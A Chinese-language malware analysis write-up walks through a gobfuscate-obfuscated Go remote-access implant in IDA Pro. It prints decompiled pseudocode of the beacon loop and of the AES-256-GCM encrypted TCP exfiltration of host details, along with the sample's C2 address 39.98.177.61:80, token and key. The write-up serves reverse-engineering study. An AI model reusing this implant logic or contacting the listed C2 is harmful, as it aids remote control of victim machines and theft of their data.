某gobfuscate 混淆样本 静态分析
目录gobfuscate 主要对字符信息进行混淆,并不能起到有效的对抗效果;
可结合函数签名、runtime type infomation进行分析。
IDA pro准备工作
新版本对go分析效果大有改进,充值变强
Lumina server
针对go这种静态编译程序,签名识别就显得很有帮助,这里借助第三方搭建的服务lumen
go_parser
ida 插件,分析rtype
下面分析都需借助此插件分析
go x64函数调用方式
采用寄存器传参,参数从左到右:
rax,rbx,rcx,rdi,rsi,r8,r9,r10 ……
多返回值rax,rbx,rcx……
__usercall 多返回值参考:
https://hex-rays.com/blog/igors-tip-of-the-week-107-multiple-return-values/
结构体
常用数据结构:
struct string
{
char *ptr;
__int64 len;
};
struct slice
{
char *data;
__int64 len;
__int64 cap;
};
struct __iface
{
char *itab;
char *ptr;
};
样本分析
字符信息
查找字符build ,可得到一些编译、库依赖信息,
入口点
通过runtime_main找到主函数main_main_rm51rvy9r
同时runtime_doInit也是关注对象(此文没有涉及)
void runtime_main()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) )
sub_4608A0();
v10 = 0i64;
v6 = 0;
v8 = v0;
*(_QWORD *)(**(_QWORD **)(v0 + 48) + 320i64) = 0i64;
qword_92AB28 = 1000000000i64;
qword_92AB20 = 2000000000i64;
byte_9DC0C4 = 1;
runtime_systemstack_abi0(runtime_main_func1_ptr);
v1 = *(_QWORD *)NtCurrentTeb()->NtTib.ArbitraryUserPointer;
++*(_DWORD *)(*(_QWORD *)(v1 + 48) + 572i64);
*(_QWORD *)(*(_QWORD *)(v1 + 48) + 304i64) = v1;
*(_QWORD *)(v1 + 232) = *(_QWORD *)(v1 + 48);
if ( *(_QWORD **)(v8 + 48) != qword_9875E0 )
goto LABEL_28;
sub_4648A0();
v2 = *(_QWORD *)NtCurrentTeb()->NtTib.ArbitraryUserPointer;
qword_9DC300 = v4;
if ( !v4 )
{
LABEL_27:
runtime_throw();
LABEL_28:
runtime_throw();
runtime_deferreturn();
return;
}
if ( dword_9DC7E8 )
{
qword_9DC5A8 = *(_QWORD *)(v2 + 152);
byte_9DC5A0 = 1;
}
runtime_doInit();
v5 = 1;
v9[0] = runtime_main_func2;
v9[1] = &v5;
v10 = (void (**)(void))v9;
v6 = 1;
runtime_gcenable();
v3 = runtime_makechan();
if ( runtime_writeBarrier_enabled )
runtime_gcWriteBarrier();
else
qword_984B88 = v3;
if ( !byte_9DC0C2 )
goto LABEL_13;
if ( !*(__int64 *)((char *)&qword_982D4C + 4) )
{
LABEL_26:
runtime_throw();
goto LABEL_27;
}
if ( !*(__int64 *)((char *)&qword_982D44 + 4) )
{
runtime_throw();
goto LABEL_26;
}
runtime_startTemplateThread();
runtime_cgocall();
LABEL_13:
runtime_doInit();
byte_9DC5A0 = 0;
runtime_closechan();
v5 = 0;
runtime_unlockOSThread();
if ( !byte_9DC0C1 && !byte_9DC0C3 )
{
rm51rvy9r_ptr(); // main_main
if ( !dword_9DC134 || !dword_9DC134 )
{
if ( dword_9DC12C )
runtime_gopark();
runtime_exit();
while ( 1 )
MEMORY[0] = 0;
}
v7 = 0i64;
runtime_mcall();
}
v6 = 0;
(*v10)();
}
主函数main_main_rm51rvy9r
void main_main_rm51rvy9r()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) )
sub_4608A0();
if ( main_sHost.len && main_serverPort.len )
{
metaConfig = (MetaConfig *)runtime_newobject(&Config_sz70_struct_8);
ptr = main_sHost.ptr;
v2 = (char *)runtime_concatstring3(); // 39.98.177.61:80
v3 = metaConfig;
metaConfig->Remote.len = (__int64)ptr;
if ( runtime_writeBarrier_enabled )
runtime_gcWriteBarrier();
else
metaConfig->Remote.ptr = v2;
v4 = main_cToken.ptr; // qhNmAboFlfWBWPY3
metaConfig->Token.len = qword_979018;
if ( runtime_writeBarrier_enabled )
v3 = (MetaConfig *)gcWriteBarrier_462BE0();
else
metaConfig->Token.ptr = v4;
v5 = main_cKey.ptr; // jC8Df6jDxY7f1IkH
v3->Key.len = qword_978FF8;
if ( runtime_writeBarrier_enabled )
v3 = (MetaConfig *)gcWriteBarrier_462BE0();
else
v3->Key.ptr = v5;
v6 = main_osName.ptr; // windows
v3->OsName.len = qword_979028;
if ( runtime_writeBarrier_enabled )
v3 = (MetaConfig *)gcWriteBarrier_462BE0();
else
v3->OsName.ptr = v6;
v7 = main_cProtocol.ptr; // tcp
v3->Protocol.len = qword_979008;
if ( runtime_writeBarrier_enabled )
v3 = (MetaConfig *)gcWriteBarrier_462BE0();
else
v3->Protocol.ptr = v7;
v8 = main.remark.ptr; // wps-中煤
v3->Remark.len = qword_979038;
if ( runtime_writeBarrier_enabled )
v3 = (MetaConfig *)gcWriteBarrier_462BE0();
else
v3->Remark.ptr = v8;
v9 = main_waitTime.ptr; // 5
v3->WaitTime.len = main_waitTime.len;
if ( runtime_writeBarrier_enabled )
gcWriteBarrier_462BE0();
else
v3->WaitTime.ptr = v9;
v10 = (T *)runtime_newobject(&T_sz80_struct_7);
v10->id.ptr = 0i64;
if ( runtime_writeBarrier_enabled )
v10 = (T *)gcWriteBarrier_462BE0();
else
v10->config = metaConfig;
doloop_6A63E0(v10);
os_Exit();
}
}
首先分析runtime_newobject函数参数,通过go_parser 结果分析参数Config_sz70_struct_8
再结合go build信息,可得到样本的相关配置信息
.rdata:000000000070E720 ; golang_type Config_sz70_struct_8
.rdata:000000000070E720 70 00 00 00 00 00 00 00 Config_sz70_struct_8 dq 70h ; DATA XREF: main_main_rm51rvy9r:loc_6ADBF6↑o
.rdata:000000000070E720 ; .rdata:00000000006C2A50↑o
.rdata:000000000070E720 ; type size
.rdata:000000000070E728 68 00 00 00 00 00 00 00 dq 68h ; type ptrdata
.rdata:000000000070E730 50 EF 68 C0 dd 0C068EF50h ; type hash
.rdata:000000000070E734 07 db 7 ; tflag: Star Prefix; Named; Uncommon
.rdata:000000000070E735 08 db 8 ; align
.rdata:000000000070E736 08 db 8 ; field align
.rdata:000000000070E737 19 db 19h ; kind: Struct
.rdata:000000000070E738 98 F3 6A 00 00 00 00 00 dq offset off_6AF398 ; equal func
.rdata:000000000070E740 29 4B 7B 00 00 00 00 00 dq offset unk_7B4B29 ; gcdata
.rdata:000000000070E748 00 90 00 00 dd 9000h ; name(@ 0x6b7000 ): MMMMMMMMMMMMMM
.rdata:000000000070E74C 20 4A 01 00 dd 14A20h ; ptrtothis addr: 0x6c2a20
.rdata:000000000070E750 00 00 00 00 00 00 00 00 dq 0 ; pkg path
.rdata:000000000070E758 80 E7 70 00 00 00 00 00 dq offset MetaConfig_struct_fields_6 ; fields start address
.rdata:000000000070E760 07 00 db 7,0 ; fields count: 0x7
.rdata:000000000070E762 00 00 00 00 00 00 align 8
.rdata:000000000070E768 07 00 db 7,0 ; fileds capacity: 0x7
.rdata:000000000070E76A 00 00 00 00 00 00 align 10h
.rdata:000000000070E770 38 19 00 00 dd 1938h ; pkg path(@ 0x6af938): client
.rdata:000000000070E774 00 00 dw 0 ; methods number: 0
.rdata:000000000070E776 00 00 dw 0 ; exported methods number: 0
.rdata:000000000070E778 B8 00 00 00 dd 0B8h ; methods offset
.rdata:000000000070E77C 00 00 00 00 dd 0 ; unused field: 0
.rdata:000000000070E780 50 FC 6A 00 00 00 00 00 MetaConfig_struct_fields_6 dq offset unk_6AFC50
.rdata:000000000070E780 ; DATA XREF: .rdata:000000000070E758↑o
.rdata:000000000070E780 ; field name: Remote
.rdata:000000000070E788 E0 D4 6C 00 00 00 00 00 dq offset string_0 ; field rtype: string
.rdata:000000000070E790 00 00 00 00 00 00 00 00 dq 0
.rdata:000000000070E798 4D EE 6A 00 00 00 00 00 dq offset unk_6AEE4D ; field name: Token
.rdata:000000000070E7A0 E0 D4 6C 00 00 00 00 00 dq offset string_0 ; field rtype: string
.rdata:000000000070E7A8 20 00 db ' ',0
.rdata:000000000070E7AA 00 00 00 00 00 00 align 10h
.rdata:000000000070E7B0 BF E2 6A 00 00 00 00 00 dq offset unk_6AE2BF ; field name: Key
.rdata:000000000070E7B8 E0 D4 6C 00 00 00 00 00 dq offset string_0 ; field rtype: string
.rdata:000000000070E7C0 40 00 db '@',0
.rdata:000000000070E7C2 00 00 00 00 00 00 align 8
.rdata:000000000070E7C8 D8 FB 6A 00 00 00 00 00 dq offset unk_6AFBD8 ; field name: OsName
.rdata:000000000070E7D0 E0 D4 6C 00 00 00 00 00 dq offset string_0 ; field rtype: string
.rdata:000000000070E7D8 60 00 db '`',0
.rdata:000000000070E7DA 00 00 00 00 00 00 align 20h
.rdata:000000000070E7E0 6A 12 6B 00 00 00 00 00 dq offset unk_6B126A ; field name: MMMMMMMM
.rdata:000000000070E7E8 E0 D4 6C 00 00 00 00 00 dq offset string_0 ; field rtype: string
.rdata:000000000070E7F0 80 00 00 00 00 00 00 00 dq 80h
.rdata:000000000070E7F8 48 FC 6A 00 00 00 00 00 dq offset unk_6AFC48 ; field name: Remark
.rdata:000000000070E800 E0 D4 6C 00 00 00 00 00 dq offset string_0 ; field rtype: string
.rdata:000000000070E808 A0 00 00 00 00 00 00 00 dq 0A0h
.rdata:000000000070E810 1A 22 6B 00 00 00 00 00 dq offset unk_6B221A ; field name: MMMMMMMMM
.rdata:000000000070E818 E0 D4 6C 00 00 00 00 00 dq offset string_0 ; field rtype: string
.rdata:000000000070E820 C0 00 00 00 00 00 00 00 dq 0C0h
doloop_6A63E0
void *__usercall doloop_6A63E0@<rax>(T *t@<rax>)
{
__int64 v1; // r14
MetaConfig *config; // rcx
__int64 len; // rbx
void *result; // rax
T *v5; // rcx
T *v6; // rax
char *idhexstr; // rax
T *v8; // rcx
void *v9; // [rsp+0h] [rbp-10h]
void *retaddr; // [rsp+10h] [rbp+0h] BYREF
if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v1 + 16) )
sub_4608A0();
config = t->config;
len = config->WaitTime.len;
result = (void *)strconv_Atoi((int)config->WaitTime.ptr, len);
v5 = t;
t->isOnline = 1;
if ( len )
result = (void *)5;
while ( v5->isOnline )
{
time_Sleep(1000000000 * (_DWORD)result);
v6 = t;
if ( !t->id.len )
{
idhexstr = (char *)crypto_rand_hexstr_64BA80(10);// genId_hexstr_len10d
v8 = t;
t->id.len = len;
if ( runtime_writeBarrier_enabled )
runtime_gcWriteBarrier();
else
t->id.ptr = idhexstr;
v6 = v8;
}
transfer_6A68A0(v6);
result = v9;
v5 = t;
}
return result;
}
transfer_6A68A0
__int64 __usercall transfer_6A68A0@<rax>(T *a1@<rax>)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( (unsigned __int64)&v39 <= *(_QWORD *)(v2 + 16) )
sub_4608A0();
ModuleFileName_4C7780 = (char *)getModuleFileName_4C7780();
get_netip_64B860();
v4 = (char *)((__int64 (*)(void))loc_463254)();
len = a1->id.len;
info.ID.ptr = a1->id.ptr;
info.ID.len = len;
info.LanIP.ptr = v4;
info.LanIP.len = v1;
config = a1->config;
ptr = config->OsName.ptr;
v8 = config->OsName.len;
info.OSName.ptr = ptr;
info.OSName.len = v8;
v9 = a1->config;
v10 = v9->Protocol.ptr;
v11 = v9->Protocol.len;
info.Protocol.ptr = v10;
info.Protocol.len = v11;
v12 = a1->config;
v13 = v12->Remote.ptr;
v14 = v12->Remote.len;
info.RemoteIp.ptr = v13;
info.RemoteIp.len = v14;
v15 = a1->config;
v16 = v15->Remark.ptr;
v17 = v15->Remark.len;
info.Remark.ptr = v16;
info.Remark.len = v17;
info.CWD.ptr = ModuleFileName_4C7780;
info.CWD.len = v1;
info.HostName = (string)sub_4CA8C0();
if ( !info.OSName.len )
{
info.OSName.ptr = "windows";
info.OSName.len = 7i64;
}
// type User struct {
// Uid string // 用户ID
// Gid string // 初级组ID
// Username string
// Name string
// HomeDir string
// }
v18 = User_current_67F880();
if ( !v18.err )
{
v19 = v18.ret1->Username.len;
info.UserName.ptr = v18.ret1->Username.ptr;
info.UserName.len = v19;
}
((void (*)(void))loc_463594)();
v20 = runtime_convT(&Info_A0_struct_1, v43);
// {
// "id":"90199b3458",
// "host_name":"xxxxxx-xxxxxxxxx",
// "os_name":"windows",
// "user_name":"xxxxxx-xxxxxxxxx\\test",
// "lan_ip":"192.168.179.129",
// "protocol":"tcp",
// "parent":"",
// "remark":"wps-中煤",
// "cwd":"C:\\Users\\test\\Desktop\\moify.exe",
// "remote_ip":"127.0.0.1:80"
// }
v21 = (void *)encoding_json_Marshal((__int64)&Info_A0_struct_1, v20);
v39 = v3;
v40 = (void *)v3;
v41 = (void *)n_0x64_92A9D8;
v22 = a1->config;
v23 = v22->Token.ptr;
v24 = v22->Token.len;
*((_QWORD *)&v39 + 1) = v23;
v40 = (void *)v24;
v25 = (void *)v20;
metadata_json_sz = (__int64)v21;
metadata_json_str = runtime_slicebytetostring(0i64, v21, v25);
*(_QWORD *)&v39 = metadata_json_sz;
v27 = v40;
v28 = v41;
Dial_tcp_679540(
metadata_json_str,
metadata_json_sz,
*((__int64 *)&v39 + 1),
(__int64)v40,
(__int64)v41,
(__int64)a1->config->Remote.ptr,
a1->config->Remote.len,
(__int64)a1->config->Key.ptr,
a1->config->Key.len);
if ( v30 )
return 1i64;
if ( qword_92A9E8 != v29 )
return 0i64;
v31 = (void *)runtime_convI2I(&MMMMMMMMMMMMMMMMMMM_interface_0, v27);
// func Client(conn io.ReadWriteCloser, config *Config) (*Session, error)
v32 = (void *)yamux__Client(v31, v28, 0i64);
if ( !v28 )
{
for ( i = v32; ; v32 = i )
{
v35 = selectgo_681560(v32);
v34 = (_QWORD *)runtime_newobject(&type_fetvmngei1z1kia1iavt);
*v34 = recv_6A6C80;
v34[1] = &go_itab__MMMMMMMMMMMMM_MMMMMMMMM_interface;
if ( runtime_writeBarrier_enabled )
{
gcWriteBarrier_462C00();
gcWriteBarrier_462C00();
}
else
{
v34[2] = v35;
v34[3] = a1;
}
runtime_newproc();
}
}
return 2i64;
}
Dial_tcp_679540,发送元数据
通信管道封装,AES-256-GCM加密
{
data
token
type
}
加密后数据包格式
LEN (4bytes,后面数据大小) | NONCE(12bytes) | DATA[LEN -12]
// local variable allocation has failed, the output may be wrong!
__int64 __usercall Dial_tcp_679540@<rax>(
__int64 metadata_json_str@<rax>,
__int64 metadata_json_sz@<rbx>,
__int64 token@<rcx>,
__int64 token_sz@<rdi>,
__int64 n_0x64@<rsi>,
__int64 Remote_address@<r8>,
__int64 Remote_address_sz@<r9>,
__int64 Key@<r10>,
__int64 Key_sz@<r11>)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( (unsigned __int64)v34 <= *(_QWORD *)(v9 + 16) )
sub_4608A0();
*(_QWORD *)&v36 = metadata_json_sz;
*((_QWORD *)&v36 + 1) = token;
v32 = (DataStatus *)runtime_newobject(&DataStatus_struct_1);
conn_1 = (void *)Dial_55C040("tcp", 3, Remote_address);
if ( v11 )
return (__int64)v32->Data.ptr;
conn_11 = conn_1;
v27 = 3i64;
key = (void *)runtime_stringtoslicebyte(v26, (void *)Key, (void *)Key_sz);
aesgcm = (char *)AES_256_GCM_6777A0(key);
if ( Key )
return (__int64)v32->Data.ptr;
aesgcm1 = aesgcm;
v14 = (EncChannel_18 *)runtime_newobject(&EncChannel_18_struct_50);
aesgcm_channel = v14;
*(_QWORD *)&v14->n = 0i64;
v14->Cipher.itab = (char *)&go_itab__aex_gcm_Cipher_itab_interface;
if ( runtime_writeBarrier_enabled )
gcWriteBarrier_462BE0();
else
v14->Cipher.ptr = aesgcm1;
conn = (void *)runtime_convI2I(&MMMMMMMMMMMMMM_interface_5, conn_11);
v16 = v27;
markret = mrak_677DC0(conn, v27, aesgcm_channel);
if ( v16 )
return (__int64)v32->Data.ptr;
markret1 = markret;
v33 = metadata_json_str;
v34[0] = v36;
v34[1] = *(_OWORD *)&token_sz;
v18 = runtime_convT(&JsonData2_struct_6, &v33);
// {
// "data":"{\"id\":\"90199b3458\",\"host_name\":\"xxxxxx-xxxxxxxxx\",\"os_name\":\"windows\",\"user_name\":\"xxxxxx-xxxxxxxxx\\\\test\",\"lan_ip\":\"192.168.179.129\",\"protocol\":\"tcp\",\"parent\":\"\",\"remark\":\"wps-中煤\",\"cwd\":\"C:\\\\Users\\\\test\\\\Desktop\\\\moify.exe\",\"remote_ip\":\"127.0.0.1:80\"}",
// "token":"qhNmAboFlfWBWPY3",
// "type":100
// }
send_jsondata = (JsonData2 *)encoding_json_Marshal((__int64)&JsonData2_struct_6, v18);
v20 = v18;
write_send_6793C0(&go_itab__MMMMMMMMMMMMMMMMMMMMMMM_MMMMMMMMM_interface, markret1, send_jsondata, v18, v21);//通道写数据
v22 = markret1;
recv_679100 = (void *)read_recv_679100(&go_itab__MMMMMMMMMMMMMMMMMMMMMMM_MMMMMMMMM_interface, markret1);//通道读数据
if ( !v20 )
encoding_json_Unmarshal(recv_679100, v22, v24, "\b", v32);
return (__int64)v32->Data.ptr;
}
recv_6A6C80
看到样本时c2就已经没了
void *__usercall recv_6A6C80@<rax>()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( (unsigned __int64)&v15 + 8 <= *(_QWORD *)(v2 + 16) )
runtime_morestack();
v11 = *(__int64 **)(v0 + 16);
v4 = *(_QWORD *)(v0 + 8);
v5 = (__int64 *)runtime_convI2I(&MMMMMMMMMM_interface_1, (void *)v4);
if ( v5 == &go_itab__MMMMMMMMMMMMM_MMMMMMMMMM_interface )
v6 = v11;
else
v6 = 0i64;
v13 = (__int64)v5;
if ( v5 != &go_itab__MMMMMMMMMMMMM_MMMMMMMMMM_interface || v6[1] < 4096 )
{
v21 = v3;
sub_463270();
v4 = 4096i64;
runtime_makeslice((__int64)&uint8, 4096, 4096);
*((_QWORD *)&v15 + 1) = *((_QWORD *)&v3 + 1);
sub_463270();
*((_QWORD *)&v15 + 1) = 4096i64;
v16 = 4096i64;
v17 = v13;
v18 = v11;
v19 = -1i64;
v20 = -1i64;
*(_QWORD *)&v21 = v7;
v1 = (char *)&v15 + 8;
sub_4635DA();
v6 = (__int64 *)&v21;
}
result = (void *)bufio__Reader_ReadLine(v6);
if ( !v1 )
{
v10 = v9;
v12 = result;
v14 = (_QWORD *)runtime_newobject(&MMMMMMMMMMMMMMMMMMMMMM_struct_0);
v14[2] = 0i64;
result = encoding_json_Unmarshal(v12, (void *)v4, v10, "\b", v14);
if ( !result )
return (void *)parseCmd_6A64C0();
}
return result;
}
parseCmd_6A64C0
命令执行、文件读写、注入、隧道等功能,(没有仔细看啦0.0)
总结
1、函数定义,确定参数、返回值,(进入函数看先保存了那些寄存器,rax,rbx,rcx……)
2、runtime_newobject,分析数据结构(借助go_parser确定类型的大小、成员)
3、孰能生巧(写代码、静态分析、动态调试)